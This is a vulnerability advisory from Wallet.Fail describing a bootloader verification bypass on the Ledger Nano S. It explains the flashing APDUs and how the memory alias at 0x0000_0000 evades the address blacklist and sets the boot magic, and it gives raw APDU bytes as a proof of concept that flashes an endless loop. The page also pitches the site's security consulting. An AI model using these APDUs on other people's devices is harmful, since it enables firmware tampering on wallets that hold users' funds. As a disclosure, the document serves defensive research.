WALLET.FAIL

Poof goes your crypto ...

Ledger Nano S: Bootloader Verification Bypass

Classification

Critical

Bug Type

Firmware

Reported

Affected Wallet

Ledger Nano S

Summary

An attacker with physical access to the device can execute arbitrary code on the STM32 MCU.

Credit

Thomas Roth @stacksmashing

Affiliation: Keylabs and Wallet.Fail

LiveOverflow video

Vulnerability Details

The contents in this advisory are based on reverse-engineering. While well-verified, there might still be misunderstandings/mistakes in some of the details.

It was found that the Ledger Nano S bootloader can be tricked into flashing and executing untrusted firmware.

The bootloader is used to update the firmware of the ‘non-secure’ processor in the Ledger Nano S and has full control over the display, USB and the buttons.

Bootloader flashing process

The bootloader accepts the following flashing related APDUs:

APDU SECURE INS Name Description
5 SECUREINS_SELECT_SEGMENT Select segment, accepts an 8 byte address as a base for flashing.
6 SECUREINS_LOAD Load data, accepts 2 bytes of unsigned segment offset and then up to ca. 250 bytes of data per call.
7 SECUREINS_FLUSH Flushes the non-volatile memory (applies the write)
9 SECUREINS_BOOT Boot the flashed code, accepts an 8 byte entrypoint. The boot command also cryptographically verifies the flashed image and only allows booting if the verification is successful.

Boot protection

The boot protection of the Ledger Nano S MCU relies on the bytes 0xF00DBABE being present at address 0x0800_3000.

Those 4-bytes are cleared before applying any SECUREINS_LOAD instruction, so writing anywhere into the non-volatile memory clears the 0xF00DBABE magic number.

It is also not possible to directly write the data to 0x0800_3000, for example with the following pseudocode:

SECUREINS_SELECT_SEGMENT 0x0800_3000
SECUREINS_LOAD 0000 F00DBABE

The current research shows that SECUREINS_LOAD works somewhat like this (pseudocode):

size_t destination_address = current_segment + apdu_supplied_offset
size_t buffer_size = apdu_supplied_size
uint8_t *buffer = apdu_supplied_data

// Check if currently the boot magic is set
if(0x0800_3000 == 0xF00DBABE) {
    // If yes clear it, so that after SECUREINS_LOAD
    // the magic is never set
    clear_magic()
}

// Prevent bootloader from overwriting itself?
if(0x0800_0000 <= destination_address < 0x0800_3000) {
    return error
}

// Check if flashing 0xF00DBABE magic address
if(destination_address == 0x0800_3000) {
    // Clear first 4 bytes
    memset(buffer, 0, 4)
}

// Finally write to non-volatile memory (needs to be flushed still)
nvm_write(destination_address, buffer, buffer_size)

This pseudocode shows that for verifying the destination address a black-list approach is used: It is forbidden to write directly from 0x0800_0000 - (including) 0x0800_3000.

Further research showed that the non-volatile memory is not only mapped to 0x0800_0000, but also to 0x0000_0000, which allows to use the following (pseudocode) APDUs for setting the 0xF00DBABE flag, bypassing the cryptographic verification in SECUREINS_BOOT and the blacklist in SECUREINS_LOAD:

SECUREINS_SELECT_SEGMENT 0x0000_0000
SECUREINS_LOAD 0000 F00DBABE

Example/Proof of concept

The following (raw) APDUs can be used to flash an endless loop at the entry-point of 0x0800_30C0.

// Select segment 0x0000_0000
e0000000050500003000
// Flash F00DBABE, the entrypoint and then later on an endless loop for PoC
e0000000d3060000beba0df0c1300008f0def0e718c94fef711520949aaa70a47c19b18528bb516b376beb41006db554d7d08366d83b27756961c6a54b3e4deca537393f7d4900089d732aef1fa72ff3f019efdc0b6fa1d5073433af0208f51d2a380cff154a0008a6bb787f66f682392c7a659a5a5b6216a0cb2691766afa970d467a124e26d047a477cdbd73b6e62cc3ec627d388212c85d987de760091d57de843be67a82535b149d269f247b1ab707f198acfeca7178f33121f8fa56992399b5fe8d6d490008fee7fee7044b054a934201d202c3fbe7
// Flush
e00000000107

Further reading

Reference manual: STM32F0x1/STM32F0x2/STM32F0x8 advanced ARM®-based 32-bit MCUs

What is a firmware vulnerability?

Firmware vulnerabilities are vulnerabilities affecting the software that runs on the hardware wallet. Since most wallets provide update mechanisms, this class of bug can be patched in a future firmware release.

Using the Ledger Nano S?

Are you storing a substantial amount of cryptocurrency on your Ledger Nano S? If you would like a consultation on how to safely store your funds, please contact us at info@wallet.fail.

Our team of renowned security experts will help you assess the impact of these findings and whether they merit a change to how you store cryptocurrency. For a full list of services offered by our team, please visit our website.

Newsletter